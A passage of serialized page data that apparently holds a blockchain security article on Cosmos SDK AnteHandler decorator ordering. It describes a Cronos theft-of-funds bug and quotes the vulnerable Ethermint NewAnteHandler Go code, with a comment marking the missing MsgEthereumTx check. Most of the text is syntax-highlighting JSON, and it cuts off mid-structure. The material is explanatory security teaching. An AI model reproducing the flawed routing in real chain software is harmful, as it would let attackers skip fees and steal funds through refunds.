NewIncrementSequenceDecorator",{"type":23,"tag":213,"props":79706,"children":79707},{"style":220},[79708],{"type":28,"value":265},{"type":23,"tag":213,"props":79710,"children":79711},{"style":268},[79712],{"type":28,"value":36096},{"type":23,"tag":213,"props":79714,"children":79715},{"style":220},[79716],{"type":28,"value":124},{"type":23,"tag":213,"props":79718,"children":79719},{"style":268},[79720],{"type":28,"value":79434},{"type":23,"tag":213,"props":79722,"children":79723},{"style":220},[79724],{"type":28,"value":1715},{"type":23,"tag":213,"props":79726,"children":79727},{"class":215,"line":1838},[79728],{"type":23,"tag":213,"props":79729,"children":79730},{"style":220},[79731],{"type":28,"value":1208},{"type":23,"tag":24,"props":79733,"children":79734},{},[79735,79737,79742,79744,79750,79751,79757],{"type":28,"value":79736},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":209,"props":79738,"children":79740},{"className":79739},[],[79741],{"type":28,"value":79272},{"type":28,"value":79743},", such as ",{"type":23,"tag":209,"props":79745,"children":79747},{"className":79746},[],[79748],{"type":28,"value":79749},"SigGasConsumeDecorator",{"type":28,"value":1466},{"type":23,"tag":209,"props":79752,"children":79754},{"className":79753},[],[79755],{"type":28,"value":79756},"ConsumeGasForTxSizeDecorator",{"type":28,"value":79758},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":24,"props":79760,"children":79761},{},[79762,79764,79770,79772,79777],{"type":28,"value":79763},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":209,"props":79765,"children":79767},{"className":79766},[],[79768],{"type":28,"value":79769},"msgs",{"type":28,"value":79771}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":209,"props":79773,"children":79775},{"className":79774},[],[79776],{"type":28,"value":78598},{"type":28,"value":79778}," chain.",{"type":23,"tag":9693,"props":79780,"children":79782},{"id":79781},"real-world-examples-2",[79783],{"type":28,"value":76742},{"type":23,"tag":24,"props":79785,"children":79786},{},[79787,79789,79794,79796,79803],{"type":28,"value":79788},"An instance of ",{"type":23,"tag":209,"props":79790,"children":79792},{"className":79791},[],[79793],{"type":28,"value":78523},{"type":28,"value":79795}," misuse is a ",{"type":23,"tag":36,"props":79797,"children":79800},{"href":79798,"rel":79799},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[40],[79801],{"type":28,"value":79802},"Theft of Fund bug",{"type":28,"value":79804}," that was exploited in a Cronos contract.",{"type":23,"tag":24,"props":79806,"children":79807},{},[79808,79810,79815,79817,79822,79824,79830,79832,79838,79840,79845,79847,79852],{"type":28,"value":79809},"In this scenario, ",{"type":23,"tag":209,"props":79811,"children":79813},{"className":79812},[],[79814],{"type":28,"value":79769},{"type":28,"value":79816}," are multiplexed to different ",{"type":23,"tag":209,"props":79818,"children":79820},{"className":79819},[],[79821],{"type":28,"value":78523},{"type":28,"value":79823}," sets through the user-controlled ",{"type":23,"tag":209,"props":79825,"children":79827},{"className":79826},[],[79828],{"type":28,"value":79829},"ExtensionOptionsEthereumTx",{"type":28,"value":79831}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":209,"props":79833,"children":79835},{"className":79834},[],[79836],{"type":28,"value":79837},"MsgEthereumTx",{"type":28,"value":79839}," does not have ",{"type":23,"tag":209,"props":79841,"children":79843},{"className":79842},[],[79844],{"type":28,"value":79829},{"type":28,"value":79846}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":209,"props":79848,"children":79850},{"className":79849},[],[79851],{"type":28,"value":79272},{"type":28,"value":79853},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":24,"props":79855,"children":79856},{},[79857],{"type":23,"tag":36,"props":79858,"children":79861},{"href":79859,"rel":79860},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[40],[79862],{"type":28,"value":76792},{"type":23,"tag":202,"props":79864,"children":79866},{"code":79865,"language":76217,"meta":7,"className":76218,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[79867],{"type":23,"tag":209,"props":79868,"children":79869},{"__ignoreMap":7},[79870,79886,79911,79935,79952,79977,80003,80028,80051,80067,80123,80164,80190,80197,80243,80250,80296,80312,80342,80377,80429,80446,80454,80461,80490,80506,80514,80540,80548,80555,80567,80601,80647,80659,80666,80673,80680,80719,80726,80733,80740,80748,80755,80779,80803,80831,80856,80864,80897,80904,80916,80947,81002,81015,81023,81031,81039,81079,81087],{"type":23,"tag":213,"props":79871,"children":79872},{"class":215,"line":216},[79873,79877,79882],{"type":23,"tag":213,"props":79874,"children":79875},{"style":230},[79876],{"type":28,"value":76353},{"type":23,"tag":213,"props":79878,"children":79879},{"style":257},[79880],{"type":28,"value":79881}," NewAnteHandler",{"type":23,"tag":213,"props":79883,"children":79884},{"style":220},[79885],{"type":28,"value":1511},{"type":23,"tag":213,"props":79887,"children":79888},{"class":215,"line":226},[79889,79894,79899,79903,79907],{"type":23,"tag":213,"props":79890,"children":79891},{"style":268},[79892],{"type":28,"value":79893}," ak",{"type":23,"tag":213,"props":79895,"children":79896},{"style":290},[79897],{"type":28,"value":79898}," evmtypes",{"type":23,"tag":213,"props":79900,"children":79901},{"style":220},[79902],{"type":28,"value":124},{"type":23,"tag":213,"props":79904,"children":79905},{"style":290},[79906],{"type":28,"value":79434},{"type":23,"tag":213,"props":79908,"children":79909},{"style":220},[79910],{"type":28,"value":944},{"type":23,"tag":213,"props":79912,"children":79913},{"class":215,"line":524},[79914,79919,79923,79927,79931],{"type":23,"tag":213,"props":79915,"children":79916},{"style":268},[79917],{"type":28,"value":79918}," bankKeeper",{"type":23,"tag":213,"props":79920,"children":79921},{"style":290},[79922],{"type":28,"value":79898},{"type":23,"tag":213,"props":79924,"children":79925},{"style":220},[79926],{"type":28,"value":124},{"type":23,"tag":213,"props":79928,"children":79929},{"style":290},[79930],{"type":28,"value":79507},{"type":23,"tag":213,"props":79932,"children":79933},{"style":220},[79934],{"type":28,"value":944},{"type":23,"tag":213,"props":79936,"children":79937},{"class":215,"line":533},[79938,79943,79948],{"type":23,"tag":213,"props":79939,"children":79940},{"style":268},[79941],{"type":28,"value":79942}," evmKeeper",{"type":23,"tag":213,"props":79944,"children":79945},{"style":290},[79946],{"type":28,"value":79947}," EVMKeeper",{"type":23,"tag":213,"props":79949,"children":79950},{"style":220},[79951],{"type":28,"value":944},{"type":23,"tag":213,"props":79953,"children":79954},{"class":215,"line":543},[79955,79960,79965,79969,79973],{"type":23,"tag":213,"props":79956,"children":79957},{"style":268},[79958],{"type":28,"value":79959}," feeGrantKeeper",{"type":23,"tag":213,"props":79961,"children":79962},{"style":290},[79963],{"type":28,"value":79964}," authante",{"type":23,"tag":213,"props":79966,"children":79967},{"style":220},[79968],{"type":28,"value":124},{"type":23,"tag":213,"props":79970,"children":79971},{"style":290},[79972],{"type":28,"value":79524},{"type":23,"tag":213,"props":79974,"children":79975},{"style":220},[79976],{"type":28,"value":944},{"type":23,"tag":213,"props":79978,"children":79979},{"class":215,"line":551},[79980,79985,79990,79994,79999],{"type":23,"tag":213,"props":79981,"children":79982},{"style":268},[79983],{"type":28,"value":79984}," channelKeeper",{"type":23,"tag":213,"props":79986,"children":79987},{"style":290},[79988],{"type":28,"value":79989}," channelkeeper",{"type":23,"tag":213,"props":79991,"children":79992},{"style":220},[79993],{"type":28,"value":124},{"type":23,"tag":213,"props":79995,"children":79996},{"style":290},[79997],{"type":28,"value":79998},"Keeper",{"type":23,"tag":213,"props":80000,"children":80001},{"style":220},[80002],{"type":28,"value":944},{"type":23,"tag":213,"props":80004,"children":80005},{"class":215,"line":570},[80006,80011,80016,80020,80024],{"type":23,"tag":213,"props":80007,"children":80008},{"style":268},[80009],{"type":28,"value":80010}," signModeHandler",{"type":23,"tag":213,"props":80012,"children":80013},{"style":290},[80014],{"type":28,"value":80015}," authsigning",{"type":23,"tag":213,"props":80017,"children":80018},{"style":220},[80019],{"type":28,"value":124},{"type":23,"tag":213,"props":80021,"children":80022},{"style":290},[80023],{"type":28,"value":79692},{"type":23,"tag":213,"props":80025,"children":80026},{"style":220},[80027],{"type":28,"value":944},{"type":23,"tag":213,"props":80029,"children":80030},{"class":215,"line":655},[80031,80035,80039,80043,80047],{"type":23,"tag":213,"props":80032,"children":80033},{"style":220},[80034],{"type":28,"value":298},{"type":23,"tag":213,"props":80036,"children":80037},{"style":290},[80038],{"type":28,"value":78783},{"type":23,"tag":213,"props":80040,"children":80041},{"style":220},[80042],{"type":28,"value":124},{"type":23,"tag":213,"props":80044,"children":80045},{"style":290},[80046],{"type":28,"value":78523},{"type":23,"tag":213,"props":80048,"children":80049},{"style":220},[80050],{"type":28,"value":1375},{"type":23,"tag":213,"props":80052,"children":80053},{"class":215,"line":1176},[80054,80058,80063],{"type":23,"tag":213,"props":80055,"children":80056},{"style":1362},[80057],{"type":28,"value":17040},{"type":23,"tag":213,"props":80059,"children":80060},{"style":230},[80061],{"type":28,"value":80062}," func",{"type":23,"tag":213,"props":80064,"children":80065},{"style":220},[80066],{"type":28,"value":1511},{"type":23,"tag":213,"props":80068,"children":80069},{"class":215,"line":1202},[80070,80074,80078,80082,80086,80090,80094,80098,80102,80106,80110,80115,80119],{"type":23,"tag":213,"props":80071,"children":80072},{"style":268},[80073],{"type":28,"value":26241},{"type":23,"tag":213,"props":80075,"children":80076},{"style":290},[80077],{"type":28,"value":78694},{"type":23,"tag":213,"props":80079,"children":80080},{"style":220},[80081],{"type":28,"value":124},{"type":23,"tag":213,"props":80083,"children":80084},{"style":290},[80085],{"type":28,"value":76402},{"type":23,"tag":213,"props":80087,"children":80088},{"style":220},[80089],{"type":28,"value":424},{"type":23,"tag":213,"props":80091,"children":80092},{"style":268},[80093],{"type":28,"value":79234},{"type":23,"tag":213,"props":80095,"children":80096},{"style":290},[80097],{"type":28,"value":78694},{"type":23,"tag":213,"props":80099,"children":80100},{"style":220},[80101],{"type":28,"value":124},{"type":23,"tag":213,"props":80103,"children":80104},{"style":290},[80105],{"type":28,"value":78727},{"type":23,"tag":213,"props":80107,"children":80108},{"style":220},[80109],{"type":28,"value":424},{"type":23,"tag":213,"props":80111,"children":80112},{"style":268},[80113],{"type":28,"value":80114},"sim",{"type":23,"tag":213,"props":80116,"children":80117},{"style":290},[80118],{"type":28,"value":965},{"type":23,"tag":213,"props":80120,"children":80121},{"style":220},[80122],{"type":28,"value":944},{"type":23,"tag":213,"props":80124,"children":80125},{"class":215,"line":1758},[80126,80131,80136,80140,80144,80148,80152,80156,80160],{"type":23,"tag":213,"props":80127,"children":80128},{"style":220},[80129],{"type":28,"value":80130}," ) (",{"type":23,"tag":213,"props":80132,"children":80133},{"style":268},[80134],{"type":28,"value":80135},"newCtx",{"type":23,"tag":213,"props":80137,"children":80138},{"style":290},[80139],{"type":28,"value":78694},{"type":23,"tag":213,"props":80141,"children":80142},{"style":220},[80143],{"type":28,"value":124},{"type":23,"tag":213,"props":80145,"children":80146},{"style":290},[80147],{"type":28,"value":76402},{"type":23,"tag":213,"props":80149,"children":80150},{"style":220},[80151],{"type":28,"value":424},{"type":23,"tag":213,"props":80153,"children":80154},{"style":268},[80155],{"type":28,"value":48472},{"type":23,"tag":213,"props":80157,"children":80158},{"style":290},[80159],{"type":28,"value":14942},{"type":23,"tag":213,"props":80161,"children":80162},{"style":220},[80163],{"type":28,"value":14870},{"type":23,"tag":213,"props":80165,"children":80166},{"class":215,"line":1767},[80167,80172,80177,80181,80185],{"type":23,"tag":213,"props":80168,"children":80169},{"style":230},[80170],{"type":28,"value":80171}," var",{"type":23,"tag":213,"props":80173,"children":80174},{"style":268},[80175],{"type":28,"value":80176}," anteHandler",{"type":23,"tag":213,"props":80178,"children":80179},{"style":290},[80180],{"type":28,"value":78694},{"type":23,"tag":213,"props":80182,"children":80183},{"style":220},[80184],{"type":28,"value":124},{"type":23,"tag":213,"props":80186,"children":80187},{"style":290},[80188],{"type":28,"value":80189},"AnteHandler\n",{"type":23,"tag":213,"props":80191,"children":80192},{"class":215,"line":1789},[80193],{"type":23,"tag":213,"props":80194,"children":80195},{"emptyLinePlaceholder":18},[80196],{"type":28,"value":530},{"type":23,"tag":213,"props":80198,"children":80199},{"class":215,"line":1812},[80200,80205,80210,80214,80218,80222,80227,80231,80235,80239],{"type":23,"tag":213,"props":80201,"children":80202},{"style":1362},[80203],{"type":28,"value":80204}," defer",{"type":23,"tag":213,"props":80206,"children":80207},{"style":257},[80208],{"type":28,"value":80209}," Recover",{"type":23,"tag":213,"props":80211,"children":80212},{"style":220},[80213],{"type":28,"value":265},{"type":23,"tag":213,"props":80215,"children":80216},{"style":268},[80217],{"type":28,"value":20335},{"type":23,"tag":213,"props":80219,"children":80220},{"style":220},[80221],{"type":28,"value":124},{"type":23,"tag":213,"props":80223,"children":80224},{"style":257},[80225],{"type":28,"value":80226},"Logger",{"type":23,"tag":213,"props":80228,"children":80229},{"style":220},[80230],{"type":28,"value":18426},{"type":23,"tag":213,"props":80232,"children":80233},{"style":274},[80234],{"type":28,"value":405},{"type":23,"tag":213,"props":80236,"children":80237},{"style":268},[80238],{"type":28,"value":48472},{"type":23,"tag":213,"props":80240,"children":80241},{"style":220},[80242],{"type":28,"value":2183},{"type":23,"tag":213,"props":80244,"children":80245},{"class":215,"line":1838},[80246],{"type":23,"tag":213,"props":80247,"children":80248},{"emptyLinePlaceholder":18},[80249],{"type":28,"value":530},{"type":23,"tag":213,"props":80251,"children":80252},{"class":215,"line":1851},[80253,80258,80262,80266,80270,80274,80278,80283,80287,80292],{"type":23,"tag":213,"props":80254,"children":80255},{"style":268},[80256],{"type":28,"value":80257}," txWithExtensions",{"type":23,"tag":213,"props":80259,"children":80260},{"style":220},[80261],{"type":28,"value":424},{"type":23,"tag":213,"props":80263,"children":80264},{"style":268},[80265],{"type":28,"value":78820},{"type":23,"tag":213,"props":80267,"children":80268},{"style":274},[80269],{"type":28,"value":76469},{"type":23,"tag":213,"props":80271,"children":80272},{"style":268},[80273],{"type":28,"value":68081},{"type":23,"tag":213,"props":80275,"children":80276},{"style":220},[80277],{"type":28,"value":78833},{"type":23,"tag":213,"props":80279,"children":80280},{"style":290},[80281],{"type":28,"value":80282},"authante",{"type":23,"tag":213,"props":80284,"children":80285},{"style":220},[80286],{"type":28,"value":124},{"type":23,"tag":213,"props":80288,"children":80289},{"style":290},[80290],{"type":28,"value":80291},"HasExtensionOptionsTx",{"type":23,"tag":213,"props":80293,"children":80294},{"style":220},[80295],{"type":28,"value":2183},{"type":23,"tag":213,"props":80297,"children":80298},{"class":215,"line":1864},[80299,80303,80308],{"type":23,"tag":213,"props":80300,"children":80301},{"style":1362},[80302],{"type":28,"value":3369},{"type":23,"tag":213,"props":80304,"children":80305},{"style":268},[80306],{"type":28,"value":80307}," ok",{"type":23,"tag":213,"props":80309,"children":80310},{"style":220},[80311],{"type":28,"value":1375},{"type":23,"tag":213,"props":80313,"children":80314},{"class":215,"line":1890},[80315,80320,80324,80329,80333,80338],{"type":23,"tag":213,"props":80316,"children":80317},{"style":268},[80318],{"type":28,"value":80319}," opts",{"type":23,"tag":213,"props":80321,"children":80322},{"style":274},[80323],{"type":28,"value":76469},{"type":23,"tag":213,"props":80325,"children":80326},{"style":268},[80327],{"type":28,"value":80328}," txWithExtensions",{"type":23,"tag":213,"props":80330,"children":80331},{"style":220},[80332],{"type":28,"value":124},{"type":23,"tag":213,"props":80334,"children":80335},{"style":257},[80336],{"type":28,"value":80337},"GetExtensionOptions",{"type":23,"tag":213,"props":80339,"children":80340},{"style":220},[80341],{"type":28,"value":7824},{"type":23,"tag":213,"props":80343,"children":80344},{"class":215,"line":1899},[80345,80349,80353,80357,80361,80365,80369,80373],{"type":23,"tag":213,"props":80346,"children":80347},{"style":1362},[80348],{"type":28,"value":58854},{"type":23,"tag":213,"props":80350,"children":80351},{"style":257},[80352],{"type":28,"value":8642},{"type":23,"tag":213,"props":80354,"children":80355},{"style":220},[80356],{"type":28,"value":265},{"type":23,"tag":213,"props":80358,"children":80359},{"style":268},[80360],{"type":28,"value":48614},{"type":23,"tag":213,"props":80362,"children":80363},{"style":220},[80364],{"type":28,"value":298},{"type":23,"tag":213,"props":80366,"children":80367},{"style":274},[80368],{"type":28,"value":10545},{"type":23,"tag":213,"props":80370,"children":80371},{"style":514},[80372],{"type":28,"value":517},{"type":23,"tag":213,"props":80374,"children":80375},{"style":220},[80376],{"type":28,"value":1375},{"type":23,"tag":213,"props":80378,"children":80379},{"class":215,"line":1912},[80380,80385,80390,80394,80399,80403,80407,80411,80416,80420,80425],{"type":23,"tag":213,"props":80381,"children":80382},{"style":1362},[80383],{"type":28,"value":80384}," switch",{"type":23,"tag":213,"props":80386,"children":80387},{"style":268},[80388],{"type":28,"value":80389}," typeURL",{"type":23,"tag":213,"props":80391,"children":80392},{"style":274},[80393],{"type":28,"value":76469},{"type":23,"tag":213,"props":80395,"children":80396},{"style":268},[80397],{"type":28,"value":80398}," opts",{"type":23,"tag":213,"props":80400,"children":80401},{"style":220},[80402],{"type":28,"value":3821},{"type":23,"tag":213,"props":80404,"children":80405},{"style":514},[80406],{"type":28,"value":4116},{"type":23,"tag":213,"props":80408,"children":80409},{"style":220},[80410],{"type":28,"value":50401},{"type":23,"tag":213,"props":80412,"children":80413},{"style":257},[80414],{"type":28,"value":80415},"GetTypeUrl",{"type":23,"tag":213,"props":80417,"children":80418},{"style":220},[80419],{"type":28,"value":28504},{"type":23,"tag":213,"props":80421,"children":80422},{"style":268},[80423],{"type":28,"value":80424},"typeURL",{"type":23,"tag":213,"props":80426,"children":80427},{"style":220},[80428],{"type":28,"value":1375},{"type":23,"tag":213,"props":80430,"children":80431},{"class":215,"line":1921},[80432,80437,80442],{"type":23,"tag":213,"props":80433,"children":80434},{"style":1362},[80435],{"type":28,"value":80436}," case",{"type":23,"tag":213,"props":80438,"children":80439},{"style":246},[80440],{"type":28,"value":80441}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":213,"props":80443,"children":80444},{"style":220},[80445],{"type":28,"value":5661},{"type":23,"tag":213,"props":80447,"children":80448},{"class":215,"line":3879},[80449],{"type":23,"tag":213,"props":80450,"children":80451},{"style":537},[80452],{"type":28,"value":80453}," // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":213,"props":80455,"children":80456},{"class":215,"line":3887},[80457],{"type":23,"tag":213,"props":80458,"children":80459},{"emptyLinePlaceholder":18},[80460],{"type":28,"value":530},{"type":23,"tag":213,"props":80462,"children":80463},{"class":215,"line":3918},[80464,80469,80473,80477,80481,80486],{"type":23,"tag":213,"props":80465,"children":80466},{"style":268},[80467],{"type":28,"value":80468}," anteHandler",{"type":23,"tag":213,"props":80470,"children":80471},{"style":274},[80472],{"type":28,"value":511},{"type":23,"tag":213,"props":80474,"children":80475},{"style":268},[80476],{"type":28,"value":78694},{"type":23,"tag":213,"props":80478,"children":80479},{"style":220},[80480],{"type":28,"value":124},{"type":23,"tag":213,"props":80482,"children":80483},{"style":257},[80484],{"type":28,"value":80485},"ChainAnteDecorators",{"type":23,"tag":213,"props":80487,"children":80488},{"style":220},[80489],{"type":28,"value":1511},{"type":23,"tag":213,"props":80491,"children":80492},{"class":215,"line":3926},[80493,80498,80502],{"type":23,"tag":213,"props":80494,"children":80495},{"style":257},[80496],{"type":28,"value":80497}," NewEthSetUpContextDecorator",{"type":23,"tag":213,"props":80499,"children":80500},{"style":220},[80501],{"type":28,"value":18426},{"type":23,"tag":213,"props":80503,"children":80504},{"style":537},[80505],{"type":28,"value":79348},{"type":23,"tag":213,"props":80507,"children":80508},{"class":215,"line":3986},[80509],{"type":23,"tag":213,"props":80510,"children":80511},{"style":274},[80512],{"type":28,"value":80513}," ...\n",{"type":23,"tag":213,"props":80515,"children":80516},{"class":215,"line":9132},[80517,80522,80526,80531,80535],{"type":23,"tag":213,"props":80518,"children":80519},{"style":257},[80520],{"type":28,"value":80521}," NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":213,"props":80523,"children":80524},{"style":220},[80525],{"type":28,"value":265},{"type":23,"tag":213,"props":80527,"children":80528},{"style":268},[80529],{"type":28,"value":80530},"ak",{"type":23,"tag":213,"props":80532,"children":80533},{"style":220},[80534],{"type":28,"value":15236},{"type":23,"tag":213,"props":80536,"children":80537},{"style":537},[80538],{"type":28,"value":80539},"// innermost AnteDecorator.\n",{"type":23,"tag":213,"props":80541,"children":80542},{"class":215,"line":9150},[80543],{"type":23,"tag":213,"props":80544,"children":80545},{"style":220},[80546],{"type":28,"value":80547}," )\n",{"type":23,"tag":213,"props":80549,"children":80550},{"class":215,"line":9195},[80551],{"type":23,"tag":213,"props":80552,"children":80553},{"emptyLinePlaceholder":18},[80554],{"type":28,"value":530},{"type":23,"tag":213,"props":80556,"children":80557},{"class":215,"line":9301},[80558,80563],{"type":23,"tag":213,"props":80559,"children":80560},{"style":1362},[80561],{"type":28,"value":80562}," default",{"type":23,"tag":213,"props":80564,"children":80565},{"style":220},[80566],{"type":28,"value":5661},{"type":23,"tag":213,"props":80568,"children":80569},{"class":215,"line":23557},[80570,80575,80579,80583,80588,80592,80597],{"type":23,"tag":213,"props":80571,"children":80572},{"style":1362},[80573],{"type":28,"value":80574}," return",{"type":23,"tag":213,"props":80576,"children":80577},{"style":268},[80578],{"type":28,"value":25898},{"type":23,"tag":213,"props":80580,"children":80581},{"style":220},[80582],{"type":28,"value":424},{"type":23,"tag":213,"props":80584,"children":80585},{"style":268},[80586],{"type":28,"value":80587},"stacktrace",{"type":23,"tag":213,"props":80589,"children":80590},{"style":220},[80591],{"type":28,"value":124},{"type":23,"tag":213,"props":80593,"children":80594},{"style":257},[80595],{"type":28,"value":80596},"Propagate",{"type":23,"tag":213,"props":80598,"children":80599},{"style":220},[80600],{"type":28,"value":1511},{"type":23,"tag":213,"props":80602,"children":80603},{"class":215,"line":23592},[80604,80609,80613,80617,80621,80626,80630,80635,80639,80643],{"type":23,"tag":213,"props":80605,"children":80606},{"style":268},[80607],{"type":28,"value":80608}," sdkerrors",{"type":23,"tag":213,"props":80610,"children":80611},{"style":220},[80612],{"type":28,"value":124},{"type":23,"tag":213,"props":80614,"children":80615},{"style":257},[80616],{"type":28,"value":78899},{"type":23,"tag":213,"props":80618,"children":80619},{"style":220},[80620],{"type":28,"value":265},{"type":23,"tag":213,"props":80622,"children":80623},{"style":268},[80624],{"type":28,"value":80625},"sdkerrors",{"type":23,"tag":213,"props":80627,"children":80628},{"style":220},[80629],{"type":28,"value":124},{"type":23,"tag":213,"props":80631,"children":80632},{"style":268},[80633],{"type":28,"value":80634},"ErrUnknownExtensionOptions",{"type":23,"tag":213,"props":80636,"children":80637},{"style":220},[80638],{"type":28,"value":424},{"type":23,"tag":213,"props":80640,"children":80641},{"style":268},[80642],{"type":28,"value":80424},{"type":23,"tag":213,"props":80644,"children":80645},{"style":220},[80646],{"type":28,"value":1715},{"type":23,"tag":213,"props":80648,"children":80649},{"class":215,"line":23600},[80650,80655],{"type":23,"tag":213,"props":80651,"children":80652},{"style":246},[80653],{"type":28,"value":80654}," \"rejecting tx with unsupported extension option\"",{"type":23,"tag":213,"props":80656,"children":80657},{"style":220},[80658],{"type":28,"value":944},{"type":23,"tag":213,"props":80660,"children":80661},{"class":215,"line":23608},[80662],{"type":23,"tag":213,"props":80663,"children":80664},{"style":220},[80665],{"type":28,"value":80547},{"type":23,"tag":213,"props":80667,"children":80668},{"class":215,"line":23617},[80669],{"type":23,"tag":213,"props":80670,"children":80671},{"style":220},[80672],{"type":28,"value":71124},{"type":23,"tag":213,"props":80674,"children":80675},{"class":215,"line":23659},[80676],{"type":23,"tag":213,"props":80677,"children":80678},{"emptyLinePlaceholder":18},[80679],{"type":28,"value":530},{"type":23,"tag":213,"props":80681,"children":80682},{"class":215,"line":23692},[80683,80687,80691,80695,80699,80703,80707,80711,80715],{"type":23,"tag":213,"props":80684,"children":80685},{"style":1362},[80686],{"type":28,"value":60782},{"type":23,"tag":213,"props":80688,"children":80689},{"style":257},[80690],{"type":28,"value":80176},{"type":23,"tag":213,"props":80692,"children":80693},{"style":220},[80694],{"type":28,"value":265},{"type":23,"tag":213,"props":80696,"children":80697},{"style":268},[80698],{"type":28,"value":20335},{"type":23,"tag":213,"props":80700,"children":80701},{"style":220},[80702],{"type":28,"value":424},{"type":23,"tag":213,"props":80704,"children":80705},{"style":268},[80706],{"type":28,"value":79234},{"type":23,"tag":213,"props":80708,"children":80709},{"style":220},[80710],{"type":28,"value":424},{"type":23,"tag":213,"props":80712,"children":80713},{"style":268},[80714],{"type":28,"value":80114},{"type":23,"tag":213,"props":80716,"children":80717},{"style":220},[80718],{"type":28,"value":2183},{"type":23,"tag":213,"props":80720,"children":80721},{"class":215,"line":23700},[80722],{"type":23,"tag":213,"props":80723,"children":80724},{"style":220},[80725],{"type":28,"value":58938},{"type":23,"tag":213,"props":80727,"children":80728},{"class":215,"line":23708},[80729],{"type":23,"tag":213,"props":80730,"children":80731},{"style":220},[80732],{"type":28,"value":3444},{"type":23,"tag":213,"props":80734,"children":80735},{"class":215,"line":23717},[80736],{"type":23,"tag":213,"props":80737,"children":80738},{"emptyLinePlaceholder":18},[80739],{"type":28,"value":530},{"type":23,"tag":213,"props":80741,"children":80742},{"class":215,"line":23793},[80743],{"type":23,"tag":213,"props":80744,"children":80745},{"style":537},[80746],{"type":28,"value":80747}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":213,"props":80749,"children":80750},{"class":215,"line":23826},[80751],{"type":23,"tag":213,"props":80752,"children":80753},{"emptyLinePlaceholder":18},[80754],{"type":28,"value":530},{"type":23,"tag":213,"props":80756,"children":80757},{"class":215,"line":23834},[80758,80763,80767,80771,80775],{"type":23,"tag":213,"props":80759,"children":80760},{"style":1362},[80761],{"type":28,"value":80762}," switch",{"type":23,"tag":213,"props":80764,"children":80765},{"style":268},[80766],{"type":28,"value":68081},{"type":23,"tag":213,"props":80768,"children":80769},{"style":220},[80770],{"type":28,"value":78833},{"type":23,"tag":213,"props":80772,"children":80773},{"style":230},[80774],{"type":28,"value":32812},{"type":23,"tag":213,"props":80776,"children":80777},{"style":220},[80778],{"type":28,"value":14870},{"type":23,"tag":213,"props":80780,"children":80781},{"class":215,"line":23842},[80782,80787,80791,80795,80799],{"type":23,"tag":213,"props":80783,"children":80784},{"style":1362},[80785],{"type":28,"value":80786}," case",{"type":23,"tag":213,"props":80788,"children":80789},{"style":290},[80790],{"type":28,"value":78694},{"type":23,"tag":213,"props":80792,"children":80793},{"style":220},[80794],{"type":28,"value":124},{"type":23,"tag":213,"props":80796,"children":80797},{"style":290},[80798],{"type":28,"value":78727},{"type":23,"tag":213,"props":80800,"children":80801},{"style":220},[80802],{"type":28,"value":5661},{"type":23,"tag":213,"props":80804,"children":80805},{"class":215,"line":23879},[80806,80811,80815,80819,80823,80827],{"type":23,"tag":213,"props":80807,"children":80808},{"style":268},[80809],{"type":28,"value":80810}," anteHandler",{"type":23,"tag":213,"props":80812,"children":80813},{"style":274},[80814],{"type":28,"value":511},{"type":23,"tag":213,"props":80816,"children":80817},{"style":268},[80818],{"type":28,"value":78694},{"type":23,"tag":213,"props":80820,"children":80821},{"style":220},[80822],{"type":28,"value":124},{"type":23,"tag":213,"props":80824,"children":80825},{"style":257},[80826],{"type":28,"value":80485},{"type":23,"tag":213,"props":80828,"children":80829},{"style":220},[80830],{"type":28,"value":1511},{"type":23,"tag":213,"props":80832,"children":80833},{"class":215,"line":23892},[80834,80839,80843,80848,80852],{"type":23,"tag":213,"props":80835,"children":80836},{"style":268},[80837],{"type":28,"value":80838}," 